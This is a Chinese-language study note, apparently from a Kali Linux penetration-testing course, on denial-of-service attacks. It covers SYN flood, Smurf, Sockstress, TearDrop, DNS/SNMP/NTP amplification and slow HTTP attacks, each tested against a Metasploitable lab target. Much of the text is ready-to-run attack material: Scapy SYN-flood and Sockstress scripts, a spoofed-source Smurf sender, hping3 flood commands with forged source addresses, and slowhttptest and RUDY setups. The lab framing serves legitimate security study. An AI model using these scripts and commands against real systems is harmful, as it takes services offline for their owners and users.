筆記內容參考安全牛課堂苑房弘老師的Kali Linux滲透測試教程
文章目錄
一、基本概念
拒絕服務攻擊指針對網絡協議、應用的缺陷或直接耗盡被攻擊對象的資源,使得目標計算機或網絡無法提供正常的服務或資源訪問,由於拒絕服務攻擊通常利用實際存在的殭屍機和IP對目標發起合法請求,因此難以防範。可以從源、手段、目標三個層次進行劃分:
- 源:單一(DoS)、衆多(DDoS)
- 手段:漏洞利用、資源消耗
- 目標:崩潰系統、崩潰程序、寬帶資源上限、協議性能上限、應用性能上限、系統性能上限
二、攻擊實現
1.Syn-Flood
原理:
我們先複習下TCP在建立和斷開連接過程中,Client和Server的狀態變化,如下所示:
圖1 TCP建立連接過程狀態
Syn-Flood向攻擊目標連續、大量發送SYN包,利用三次握手過程中SYN_RCVD -> ESTABLISHED
的等待過程,通過佔滿TCP最大併發連接數實現拒絕服務攻擊,原理如下圖所示:
圖2 Syn-Flood攻擊原理
實現:
利用Scapy腳本發包,如下所示:
#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
from thread import start_new_thread
from sys import argv
from time import sleep
if len(argv) != 4:
print('usage: ./syn_flood.py [ip_address] [port] [threads]')
print('eg: ./syn_flood.py 114.114.114.114 80 20')
sys.exit()
ip_address = argv[1]
port = int(argv[2])
threads = int(argv[3])
print('Syn-Flood attack is running, press Ctrl+C to stop...')
def synflood(ip_address, port):
while 1:
rand_port = randint(1,65525)
send(IP(dst = ip_address)/TCP(dport = port,sport = rand_port),verbose = 0)
for x in range(0,threads):
start_new_thread(synflood, (ip_address, port))
while 1:
sleep(1)
將Metasploitable當做靶機,對其發起Syn-Flood攻擊,然後通過top和netstat觀察系統資源消耗情況,剛開始發現靶機TCP併發連接數未增加,用Wireshark抓包發現系統自動回覆了RST,如下所示:
添加規則拒絕RST包出站:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.11.128 -j REJECT
成功攻擊後利用top命令查看靶機CPU性能,發現未受影響,但是TCP併發連接數已達上限256,此時正常TCP請求無法建立。
拒絕服務攻擊常伴隨地址欺騙,即僞造IP源(真正的攻擊目標),利用殭屍機回包給攻擊目標,從而以隱藏攻擊者身份。但注意目前ISP邊界路由器對進站和出站的源IP有所限制,會導致僞造IP包發送失敗。
2.Smurf
原理:
十分原始的DDoS攻擊技術,工作在鏈路層(局域網),向廣播地址發送僞造源地址的ICMP echo Request(ping)包,使得局域網內主機都會向發送ping包的源地址發Reply包,從而使其遭受DDoS攻擊。
現代操作系統大多已不再響應目標爲廣播地址的ping包,因此這種攻擊方法已幾乎失效。
實現:
利用Scapy腳本發包,如下所示:
#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
send(IP(dst="10.10.11.255",src="10.10.11.128")/ICMP(),count=100,verbose=1)
攻擊後發現只有網關設備會迴應廣播的ping包,Wireshark抓包如下:
3.Sockstress
原理:
利用TCP建立連接三步握手過程中的最後Client回覆的ACK,其中window爲協商的接收窗口大小,將其設置爲0,使得Server誤以爲Client接收窗口已滿,以等待數據發送,這樣使得攻擊目標大量Socket保持ESTABLISHED狀態,會消耗攻擊目標大量的系統資源。
Sockstress是一種非常有效的DoS攻擊方式,單機發起異步攻擊,可以使得高配置服務器拒絕服務。最有效的防禦方法是採用白名單,但是應用起來不實際,折中對策是限制單位時間內每個IP地址的TCP連接數,但這又對DDoS失效。
實現:
利用Scapy腳本發包,如下所示:
#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
import sys,os,signal,thread,time
if len(sys.argv)!=4:
print('usage: ./sockstress.py [ip_address] [port] [threads]')
print('eg: ./sockstress.py 114.114.114.114 80 20')
sys.exit()
ip_address = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])
def sockstress(ip_address, port):
while 1:
try:
x = randint(0,65535)
response = sr1(IP(dst=ip_address)/TCP(dport=port, sport=x, flags='S'),timeout=3,verbose=0)
send(IP(dst=ip_address)/TCP(dport=port,sport=x,flags='A',ack=(response[TCP].seq+1),window=0),verbose=0)
except:
pass
def shutdown(signal, frame):
print('iptables recover...')
os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
sys.exit()
def start():
print('iptables change...')
print('Sockstress attack is running, press Ctrl+C to stop...')
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
for x in range(0, threads):
thread.start_new_thread(sockstress, (ip_address, port))
signal.signal(signal.SIGINT, shutdown)
start()
while 1:
time.sleep(1)
利用腳本攻擊Metasploit2靶機80端口,攻擊後Wireshark抓包分析正常,netstat分析TCP連接80端口處於ESTABLISHED狀態最大280,但是靶機cpu性能並沒有受影響,攻擊無效,沒有查閱到相關解釋,困惑中。。。
相反運用C攻擊腳本https://github.com/defuse/sockstress可以很好實現DoS攻擊,雖然從top性能上分析沒有將CPU資源耗盡,但是實際上系統已拒絕提供服務,如ssh、apache均不能正常訪問。
git clone https://github.com/defuse/sockstress.git
cd sockstress
make
./sockstress 10.10.11.128:80 eth0 -p payloads/http
4.TearDrop
原理:
IP協議會將超過其最大傳輸載荷的數據分段傳輸,接收方利用數據段之間的IPID和數據偏移值進行拼接,TearDrop即利用IP分段之間數據偏移值重疊覆蓋,使得操作系統無法處理此類情況而發生藍屏、重啓、卡死等故障。
原理如下圖所示,假設數據段需要拆分爲兩個IP數據包進行傳輸,第一個IP包已經傳輸了1480字節數據,正常第二個IP數據包起始位置偏移量應爲1481,而TearDrop攻擊中偏移量變爲1000,這樣就導致接收方在拼接接收的兩個IP數據包時出現重疊部分,從而導致系統處理錯誤。
圖3 TearDop攻擊原理
但是這種攻擊方式僅針對早期Windows系統(95、98、3x等),這裏只分析原理作爲學習參考,實踐意義並不大。
5.Hping3
和Scapy一樣,幾乎可以定製發送任何TCP/IP數據包,命令行參數命令,使用更加方便。
- SYN Flood
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.10.11.128
- ICMP Flood
hping3 -q -n -a 10.10.11.128 --icmp -d 100 --flood 10.10.11.100
# 10.10.11.100是PING包發往的地址
# 10.10.11.128是PING包中源地址,即攻擊目標
- UDP Flood
hping3 -a 10.10.11.128 --udp -s 53 -d 100 -p 53 --flood 10.10.11.100
# 攻擊UDP 53端口(DNS)
# 10.10.11.100是PING包發往的地址
# 10.10.11.128是PING包中源地址,即攻擊目標
- LAND
一種特殊種類的SYN Flood攻擊,源地址、目的地址都是攻擊目標,攻擊目標自己與自己完成TCP三次握手。
hping3 -n -a 10.10.11.128 -S -d 100 -p 80 --flood 10.10.11.128
6.放大攻擊
利用協議自身特性,結合IP源地址欺騙,以小流量請求產生大流量回包,利用大量正常工作的主機實現DDoS,適合於放大攻擊的協議包括DNS、SNMP、NTP等,這裏僅分析其攻擊實現原理。
(1)DNS放大攻擊
DNS服務端口爲UDP 53,攻擊原理:僞造源地址爲被攻擊目標地址,向遞歸域名查詢服務器發起查詢,使得DNS服務器成爲流量放大和實施攻擊者,大量DNS服務器實現DDoS。以dig
命令爲例,dig ANY google.com @202.106.0.20
命令發包數據107bytes,回包數據785bytes,回包流量照比發包放大了7倍。
(2)SNMP放大攻擊
SNMP服務端口爲UDP 161/162,其工作時由客戶端(管理站)向服務端(被管理設備)發起查詢請求,所有數據存儲在服務端的管理信息數據庫中(MIB),攻擊原理:僞造源地址爲被攻擊目標地址,向開啓了SNMP服務的設備發送查詢請求,使被攻擊目標遭受DDoS。
(3)NTP放大攻擊
NTP服務端口爲UDP 123,用於網絡設備時間同步,NTP提供monlist查詢功能,監控NTP服務器狀況,客戶端查詢時,NTP服務器返回最後同步時間的600個客戶端IP,流量放大約100倍,攻擊原理:僞造源地址爲被攻擊目標地址,向開啓了NTP服務且提供monlist查詢的設備發送查詢請求,使被攻擊目標遭受DDoS。
7.應用層DoS
與應用服務進行異常交互時,利用自身存在漏洞耗盡應用或系統的資源,使應用或系統拒絕服務,其中典型且高效的測試方法如慢速DoS攻擊:SlowHTTPTest、RUDY。
(1)SlowHTTPTest
- 低帶寬應用層慢速DoS攻擊(源自Google)
- 最早由Python編寫,跨平臺支持(Linux、Windows、OSX)
- 尤其擅長攻擊Apache、Tomcat
原理:
Slowloris、Slow HTTP POST
- 耗盡應用的併發連接池,類似於HTTP層的Syn-Flood
- HTTP協議默認在服務器全部接收請求之後纔開始處理,若客戶端發送速度緩慢或不完整,則連接資源始終佔用,此類大量併發將導致DoS
- Slowloris:完整的HTTP請求結尾是
\r\n\r\n
,在攻擊中只發送\r\n
- Slow HTTP POST:HTTP頭content-length聲明比較大的長度,但是body部分緩慢發送
Slow Read Attack
- 與Slowloris、Slow HTTP POST目的相同,都是耗盡應用的併發連接池
- 不同之處在於其請求正常發送,但慢速讀取響應數據
- 攻擊者調整TCP Window窗口大小,使服務器慢速返回數據
Apache Range Header Attack
- 客戶端傳輸大文件時,體積超過HTTP Body大小限制時進行分段
- 耗盡服務器CPU、內存資源
實現:
可以從GitHub上下載源碼git clone https://github.com/shekyan/slowhttptest.git
,然後進入slowhttptest目錄運行:
./configure
make && make instal
然後就可以運行命令,具體在man手冊裏,可參見EXAMPLES,下面用上述四種slowhttptest方法攻擊靶機metasploitable2上運行的Apache:
# Slowloris
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3
# Slow HTTP POST
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.11.128 -x 10 -p 3
# Slow Read Attack
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.11.128 -p 3
# Apache Range Header Attack
slowhttptest -R -u http://10.10.11.128 -t HEAD -c 1000 -a 10 -b 3000 -r 500
經過測試,Slowloris和Slow HTTP POST的攻擊效果最好,Slow Read Attack次之,Apache Range Header Attack則無法實現DoS。
另外除了上述下載源碼編譯後使用命令以外,還可以利用Docker拉取SlowHTTPTest鏡像,在新建的容器中使用命令:
# 安裝好docker後首先要拉取slowhttptest鏡像
docker pull shekyan/slowhttptest
# 然後直接在新建的容器中直接運行命令參數,以Slowloris攻擊爲例
docker run -it shekyan/slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3
(2)RUDY
- R-U-Dead-Yet,慢速應用層HTTP POST攻擊,類似SlowHTTPTest
- 手段更絕,每次只傳輸一個字節的數據
- 針對攻擊有表單的WEB頁面,攻擊時要指定攻擊的參數名稱
實現:
從https://sourceforge.net/projects/r-u-dead-yet/獲取源碼,解壓後README中有詳細介紹,在rudeadyet.conf
中配置好攻擊目標url以及表單提交的對象參數,以metasploitable2中dvwa登錄界面爲攻擊目標:
[parameters]
URL: http://10.10.11.128/dvwa/login.php
number_of_connections: 500
attack_parameter: username
proxy_addr: ""
proxy_port: 0
然後運行./r-u-dead-yet-v2.2.py
開始攻擊,效果還是比較好的。
(3)Siege
HTTP/HTTPS壓力測試工具,模擬多個用戶併發訪問請求,可到GitHub下載https://github.com/JoeDog/siege.git或者直接apt install siege
安裝。
siege -g http://10.10.11.128/dvwa/login.php
# 用HEAD|GET方法向-g指定url發送請求,獲取banner信息
siege -i -c 1000 http://10.10.11.128 -A http-agent
# -i:模擬Internet上用戶的正常請求
# -c:模擬多個用戶併發測試
# -A:user-agent頭內容
# 可以使用-f參數調用url字典文件,同時測試多個url